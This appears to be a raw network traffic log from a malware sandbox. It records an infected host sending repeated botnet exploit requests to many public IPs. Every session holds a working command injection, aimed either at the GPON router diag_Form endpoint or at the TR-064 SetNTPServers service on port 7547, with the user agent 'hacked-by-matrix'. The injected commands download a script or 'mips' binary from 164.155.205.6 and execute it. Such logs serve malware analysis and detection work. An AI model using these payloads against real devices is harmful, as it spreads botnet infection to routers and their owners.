Mar 2, 2024 12:37:10.903624058 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.23	44024	2.126.145.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903647900 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.23	52116	210.33.252.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903647900 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.23	59274	109.199.163.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903666973 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.23	45218	37.50.42.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:10.903687000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.23	37800	67.255.56.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:11.331047058 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:15.428980112 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.23	40740	47.196.186.4	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:11.335006952 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:11.753092051 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.23	56180	47.155.115.87	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:11.373019934 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.23	56220	47.155.115.87	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:11.544630051 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.23	55686	99.236.12.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:12.190327883 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:37:23.365315914 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.23	55748	99.236.12.53	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.343327045 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.23	37842	67.255.56.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.347222090 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.23	37850	67.255.56.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.471927881 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.23	42348	212.109.63.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911381006 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.23	55234	94.134.227.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911410093 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.23	57602	37.200.0.137	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911423922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.23	59370	42.64.182.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911438942 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.23	54476	178.143.219.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911442995 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.23	48496	37.39.157.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911465883 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.23	42592	94.188.247.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911495924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.23	51932	178.237.218.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911495924 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.23	39560	79.162.158.163	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911499023 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.23	53596	79.136.199.63	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:13.911530018 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.23	57422	109.116.174.145	443

Timestamp	Bytes transferred	Direction	Data
